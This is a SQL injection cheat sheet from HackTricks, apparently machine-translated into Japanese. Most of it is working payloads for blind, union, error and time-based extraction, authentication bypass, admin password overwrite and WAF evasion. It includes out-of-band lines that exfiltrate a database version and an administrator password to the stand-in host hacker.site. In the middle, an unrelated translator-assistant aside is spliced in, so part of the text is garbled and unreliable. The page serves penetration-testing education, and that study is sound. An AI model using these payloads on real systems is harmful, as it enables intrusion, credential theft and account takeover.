SQL Injection
Reading time: 32 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
SQL injectionとは何ですか?
An SQL injectionは、攻撃者がアプリケーションのデータベースクエリに干渉できるようにするセキュリティ上の欠陥です。この脆弱性により、攻撃者は他のユーザーの情報やアプリケーションがアクセスできる任意のデータを含め、本来アクセスすべきでないデータを閲覧、改竄、または削除することが可能になります。これらの行為はアプリケーションの機能やコンテンツに恒久的な変更をもたらすことがあり、場合によってはサーバーの乗っ取りや denial of service に至ることもあります。
エントリポイントの検出
サイトが SQLi 関連の入力に対して異常なサーバー応答を示し、SQL injection (SQLi) に対して脆弱に見える場合、最初のステップはクエリを壊さずにどのようにクエリにデータを注入するかを理解することです。これには現在のコンテキストから効果的にエスケープする方法を特定する必要があります。以下はいくつかの有用な例です:
[Nothing]
'
"
`
')
")
`)
'))
"))
`))
次に、fix the query so there isn't errors方法を理解しておく必要があります。queryを修正するためには、inputデータを与えてprevious query accept the new dataようにするか、または単に自分のデータをinputして行末にcomment symbolを付ける、という方法があります。
Note that if you can see error messages or you can spot differences when a query is working and when it's not this phase will be more easy.
コメント
MySQL
#comment
-- comment [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */
PostgreSQL
--comment
/*comment*/
MSQL
--comment
/*comment*/
Oracle
--comment
SQLite
--comment
/*comment*/
HQL
HQL does not support comments
論理演算による確認
SQL injection 脆弱性を確認する信頼できる方法の一つは、論理演算を実行して期待される結果を観察することです。例えば、?username=Peter
のような GET パラメータを ?username=Peter' or '1'='1
に変更しても同一の内容が返る場合、SQL injection 脆弱性があることを示します。
同様に、数学的演算の適用も有効な確認手法となります。例えば、?id=1
と ?id=2-1
にアクセスして同じ結果が得られる場合、それは SQL injection を示唆します。
論理演算による確認の例:
page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false
このワードリストは、提案された方法でSQLinjectionsを確認するために作成されました:
真の SQLi
``` true 1 1>0 2-1 0+1 1*1 1%2 1 & 1 1&1 1 && 2 1&&2 -1 || 1 -1||1 -1 oR 1=1 1 aND 1=1 (1)oR(1=1) (1)aND(1=1) -1/**/oR/**/1=1 1/**/aND/**/1=1 1' 1'>'0 2'-'1 0'+'1 1'*'1 1'%'2 1'&'1'='1 1'&&'2'='1 -1'||'1'='1 -1'oR'1'='1 1'aND'1'='1 1" 1">"0 2"-"1 0"+"1 1"*"1 1"%"2 1"&"1"="1 1"&&"2"="1 -1"||"1"="1 -1"oR"1"="1 1"aND"1"="1 1` 1`>`0 2`-`1 0`+`1 1`*`1 1`%`2 1`&`1`=`1 1`&&`2`=`1 -1`||`1`=`1 -1`oR`1`=`1 1`aND`1`=`1 1')>('0 2')-('1 0')+('1 1')*('1 1')%('2 1')&'1'=('1 1')&&'1'=('1 -1')||'1'=('1 -1')oR'1'=('1 1')aND'1'=('1 1")>("0 2")-("1 0")+("1 1")*("1 1")%("2 1")&"1"=("1 1")&&"1"=("1 -1")||"1"=("1 -1")oR"1"=("1 1")aND"1"=("1 1`)>(`0 2`)-(`1 0`)+(`1 1`)*(`1 1`)%(`2 1`)&`1`=(`1 1`)&&`1`=(`1 -1`)||`1`=(`1 -1`)oR`1`=(`1 1`)aND`1`=(`1 ```タイミングでの確認
場合によっては、テストしているページで変化に気づかないことがあります。したがって、DBに処理を実行させてページの読み込み時間に影響を与えることで、blind SQL injections を発見するのが良い方法です。
そこで、SQLクエリ内でconcatを使って、完了に多くの時間を要する処理を連結します:
MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)
PostgreSQL (only support string concat)
1' || pg_sleep(10)
MSQL
1' WAITFOR DELAY '0:0:10'
Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
場合によっては、sleep functions が許可されないことがあります。その場合、それらの関数を使用する代わりに、クエリに数秒かかるような複雑な操作を実行させることができます。これらの手法の例は各技術ごとに(該当があれば)別途解説します。
バックエンドの特定
バックエンドを特定する最良の方法は、異なるバックエンドの関数を実行してみることです。前節の sleep functions を使うか、あるいは以下のものを使うことができます(table from payloadsallthethings:
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
["connection_id()=connection_id()" ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"],
["@@CONNECTIONS>0" ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS" ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY" ,"MSSQL"],
["USER_ID(1)=USER_ID(1)" ,"MSSQL"],
["ROWNUM=ROWNUM" ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"],
["LNNVL(0=123)" ,"ORACLE"],
["5::int=5" ,"POSTGRESQL"],
["5::integer=5" ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"],
["current_database()=current_database()" ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()" ,"SQLITE"],
["last_insert_rowid()>1" ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"],
["val(cvar(1))=1" ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" ,"MSACCESS"],
["cdbl(1)=cdbl(1)" ,"MSACCESS"],
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
また、クエリの出力にアクセスできる場合、データベースのバージョンを表示させることができます。
tip
今後、さまざまな種類のSQL Injectionを悪用するための異なる手法について説明します。例として MySQL を使用します。
PortSwigger を使った識別
SQL injection cheat sheet | Web Security Academy
Exploiting Union Based
列数の検出
クエリの出力が見える場合、これが最も効果的な悪用方法です。
まず最初に、初期リクエストが返している列の数を特定する必要があります。これは両方のクエリが同じ列数を返す必要があるためです。
この目的のために通常2つの方法が使われます:
Order/Group by
クエリの列数を判定するには、ORDER BY や GROUP BY 句で使う番号を段階的に増やし、false(エラー)の応答が返されるまで試します。SQLにおける GROUP BY と ORDER BY の機能は異なりますが、どちらもクエリの列数を判定する目的では同様に利用できます。
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
1' ORDER BY 3--+ #True
1' ORDER BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
1' GROUP BY 1--+ #True
1' GROUP BY 2--+ #True
1' GROUP BY 3--+ #True
1' GROUP BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
UNION SELECT
null 値を増やして、クエリが正しくなるまで続ける:
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
null
値を使用するべきです。場合によってはクエリの両側のカラムの型が同じでなければならず、null はあらゆる場合で有効です。
データベース名、テーブル名、カラム名の抽出
次の例では、すべてのデータベース名、あるデータベースのテーブル名、およびテーブルのカラム名を取得します:
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
各データベースごとにこのデータを発見する方法は異なるが、方法論は常に同じだ.
Exploiting Hidden Union Based
queryのoutputが見えているが、union-based injectionを達成できないように見える場合、これはhidden union-based injectionの存在を示す。この状況はしばしばblind injectionにつながる。blind injectionをunion-basedなものに変換するには、バックエンドで実行されているexecution queryを特定する必要がある。
これはblind injection techniquesと、ターゲットのDatabase Management System (DBMS)に固有のdefault tablesを併用することで達成できる。これらdefault tablesを理解するには、ターゲットDBMSのドキュメントを参照することを推奨する。
queryを抽出したら、まず元のqueryを安全に閉じるようpayloadを調整する必要がある。その後、union queryをpayloadに追加し、新たに利用可能になったunion-based injectionを悪用する。
詳細は、完全な記事 Healing Blind Injections を参照してください。
Exploiting Error based
もし何らかの理由であなたがcannot see the output of the query だが、see the error messagesが見える場合、これらのerror messagesを利用してデータベースからデータをex-filtrateすることができる。
Union Based exploitationと同様の流れを辿れば、DBをdumpすることが可能になる。
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
Blind SQLi を悪用する
この場合、クエリの結果やエラーは見えませんが、ページの内容が異なるため、クエリが返す****trueまたはfalseの応答を区別できます。
この挙動を悪用して、データベースを文字ごとにダンプできます:
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
Exploiting Error Blind SQLi
これは前と同じケースですが、クエリの true/false レスポンスを区別する代わりに、SQL query における error の有無(例えば HTTP server がクラッシュするため)で区別できます。したがって、この場合は文字(char)を正しく推測するたびに SQLerror を強制できます:
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
Time Based SQLi を悪用する
この場合、ページのコンテキストに基づいてクエリのレスポンスを区別する方法はありません。しかし、推測した文字が正しければ、ページの読み込みを遅らせることができます。すでにこの手法がconfirm a SQLi vulnで使用されているのを見ています。
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
Stacked Queries
You can use stacked queries to 複数のクエリを連続して実行できます。Note that while the subsequent queries are executed, the 結果はアプリケーションに返されません。Hence this technique is primarily of use in relation to blind vulnerabilities where you can use a second query to trigger a DNS lookup, conditional error, or time delay.
Oracle は stacked queries をサポートしていません。MySQL, Microsoft および PostgreSQL はサポートしています: QUERY-1-HERE; QUERY-2-HERE
Out of band Exploitation
もし他のどの エクスプロイト手法が成功しなかった場合、情報をデータベースからの送出(ex-filtrate)であなたが制御する外部ホストへ送らせることを試みることができます。例えば、DNSクエリ経由で:
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
XXE を用いた Out of band data exfiltration
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
Automated Exploitation
SQLMap Cheatsheet を確認して、sqlmap で SQLi 脆弱性を exploit してください。
Tech specific info
既に SQL Injection 脆弱性を exploit する方法はすべて議論しました。本書の以下の章でデータベース技術ごとの追加トリックを確認してください:
または MySQL、PostgreSQL、Oracle、MSSQL、SQLite、HQL に関する多数のトリックが https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection で見つかります
Authentication bypass
ログイン機能を bypass するために試す一覧:
Raw hash authentication Bypass
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
このクエリは、認証チェックで MD5 を raw output 用の true として使用した場合の脆弱性を示しており、システムが SQL injection に対して脆弱になることを明らかにします。攻撃者は、ハッシュ化した際に予期しない SQL コマンドの一部を生成するような入力を作成してこれを悪用し、不正アクセスを引き起こすことができます。
md5("ffifdyop", true) = 'or'6�]��!r,��b�
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!
Injected hash authentication Bypass
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
推奨リスト:
You should use as username each line of the list and as password always: Pass1234.
(これらの payloads はこのセクションの冒頭で言及した big list にも含まれています)
GBK Authentication Bypass
もし ' がエスケープされている場合は %A8%27 を使うことができます。また ' がエスケープされると次のように作成されます: 0xA80x5c0x27 (╘')
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --
Python スクリプト:
import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text
Polyglot injection (multicontext)
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
Insert Statement
Modify password of existing object/user
そのため、何かを変更して、マスターオブジェクトと同じ名前の新しいオブジェクトを作成することを試みてください(ユーザーの場合はおそらく admin):
- 次のユーザー名で作成する: AdMIn (大文字と小文字)
- 次のユーザー名で作成する: admin=
- SQL Truncation Attack (ユーザー名やメールに何らかの長さ制限がある場合) --> 以下の名前のユーザーを作成: admin [a lot of spaces] a
SQL Truncation Attack
もしデータベースが脆弱で、ユーザー名の最大文字数が例えば30で、ユーザー admin をなりすましたい場合は、ユーザー名を "admin [30 spaces] a" にして任意のパスワードを設定してみてください。
データベースは導入されたユーザー名がデータベース内に存在するかを確認します。もし存在しない場合、ユーザー名を許容される最大文字数に切り詰めます(この場合は: "admin [25 spaces]")そして末尾のすべてのスペースを自動的に削除してデータベース内のユーザー"admin"のパスワードを更新します(エラーが出ることがありますが、成功していないという意味ではありません)。
More info: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref
Note: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation
MySQL Insert time based checking
VALUES ステートメントから抜けるために、','',''
を必要なだけ追加します。遅延が実行されれば、SQLInjection が存在します。
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
ON DUPLICATE KEY UPDATE
MySQLのON DUPLICATE KEY UPDATE
句は、行の挿入がUNIQUE
インデックスまたはPRIMARY KEY
に重複する値を生じさせる場合に、データベースが実行する処理を指定するために使用されます。次の例は、この機能を悪用して管理者アカウントのパスワードを変更する方法を示しています:
Example Payload Injection:
An injection payloadは次のように作成されることがあり、users
テーブルに2行を挿入しようとします。最初の行はデコイで、2行目は既存の管理者のメールアドレスを狙ってパスワードを更新することを目的としています:
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
仕組みは次の通りです:
- このクエリは2つの行を挿入しようとします: 1つは
generic_user@example.com
用、もう1つはadmin_generic@example.com
用です。 - もし
admin_generic@example.com
の行が既に存在する場合、ON DUPLICATE KEY UPDATE
句が発動し、MySQL に既存行のpassword
フィールドを "bcrypt_hash_of_newpassword" に更新するよう指示します。 - 結果として、
admin_generic@example.com
とその bcrypt ハッシュに対応するパスワードを使って認証を試みることができます("bcrypt_hash_of_newpassword" は新しいパスワードの bcrypt ハッシュを表しており、実際に使用したいパスワードのハッシュに置き換える必要があります)。
情報を抽出する
同時に2つのアカウントを作成する
新しいユーザーを作成する際、username、password、email が必要です:
SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
10進数または16進数を使用する
この技術では、アカウントを1つ作成するだけで情報を抽出できます。コメントアウトする必要はない点に注意してください。
hex2dec と substr を使用する:
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
テキストを取得するには、次のいずれかを使用できます:
- git clone + cat
git clone <REPO_URL>
cat <PATH/TO/src/pentesting-web/sql-injection/README.md>
- git show(リモートの特定ブランチやコミットから)
git -C <LOCAL_REPO_PATH> show <BRANCH_OR_COMMIT>:src/pentesting-web/sql-injection/README.md
- curl(raw ファイル URL がある場合)
curl -sL "<RAW_FILE_URL>" -o README.md
cat README.md
- wget(raw ファイル URL がある場合)
wget -qO README.md "<RAW_FILE_URL>"
cat README.md
- gh CLI(GitHub の場合)
gh repo clone <OWNER/REPO>
cat src/pentesting-web/sql-injection/README.md
- リポジトリがローカルにあり、ファイル内の一部だけ欲しい場合(例: head/tail/sed)
sed -n '1,200p' src/pentesting-web/sql-injection/README.md
# または
head -n 200 src/pentesting-web/sql-injection/README.md
必要なら、取得した内容をここに貼っていただければ翻訳します。
__import__('binascii').unhexlify(hex(215573607263)[2:])
hex と replace(および substr)を使用する:
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
Routed SQL injection
Routed SQL injection は、injectable query 自体が出力を返すのではなく、その injectable query の出力が出力を返す別の query に渡される状況です。 (From Paper)
例:
#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
WAF Bypass
No spaces bypass
No Space (%20) - bypass(空白の代替文字を使用)
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
No Whitespace - コメントを使った bypass
?id=1/*comment*/and/**/1=1/**/--
No Whitespace - parenthesis を使った bypass
?id=(1)and(1)=(1)--
No commas bypass
No Comma - OFFSET, FROM and JOIN を使用したバイパス
LIMIT 0,1 -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
Generic Bypasses
キーワードを使用したBlacklist - uppercase/lowercase を使ってbypass
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#
Blacklist が keywords を case insensitive に使用している場合 - equivalent operator を使って bypass する
AND -> && -> %26%26
OR -> || -> %7C%7C
= -> LIKE,REGEXP,RLIKE, not < and not >
> X -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
Scientific Notation WAF bypass
このトリックの詳細な説明は gosecure blog.
基本的に、scientific notation を予期しない方法で用いることで WAF を回避できます:
-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=
カラム名制限の回避
まず、元のクエリとフラグを抽出したいテーブルが同じ数のカラムを持つ場合、単に次のようにできることに注意してください: 0 UNION SELECT * FROM flag
次のようなクエリを使うことで、名前を使わずにテーブルの3番目のカラムにアクセスすることが可能です: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
、したがって、sqlinjectionでは次のようになります:
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
または comma bypass を使用する:
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
このトリックは https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/ から取られました
Column/tablename injection in SELECT list via subqueries
ユーザ入力が SELECT リストや table/column identifiers に連結される場合、prepared statements は役に立ちません。なぜなら bind parameters は values のみを保護し、identifiers は保護しないからです。よくある脆弱なパターンは:
// Pseudocode
$fieldname = $_REQUEST['fieldname']; // attacker-controlled
$tablename = $modInstance->table_name; // sometimes also attacker-influenced
$q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param
$stmt = $db->pquery($q, [$rec_id]);
悪用のアイデア: フィールド位置にサブクエリを注入して任意のデータを外部に持ち出す:
-- Legit
SELECT user_name FROM vte_users WHERE id=1;
-- Injected subquery to extract a sensitive value (e.g., password reset token)
SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1;
注意:
- この手法は WHERE句 がバウンドパラメータを使用している場合でも機能します。識別子リストが依然として文字列連結されるためです。
- 一部のスタックでは追加でテーブル名を制御できる(tablename injection)、これによりクロステーブル読み取りが可能になります。
- 出力スINKは選択された値を HTML/JSON に反映する可能性があり、XSS やレスポンスからのトークン流出を直接許すことがあります。
Mitigations:
- ユーザー入力から識別子を連結してはなりません。許可する column 名を固定の allow-list にマップし、識別子を適切にクォートしてください。
- 動的なテーブルアクセスが必要な場合は、有限のセットに制限し、安全なマッピングからサーバー側で解決してください。
WAF バイパス提案ツール
GitHub - m4ll0k/Atlas: Quick SQLMap Tamper Suggester
その他のガイド
- https://sqlwiki.netspi.com/
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
ブルートフォース検出リスト
Auto_Wordlists/wordlists/sqli.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub
参考
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。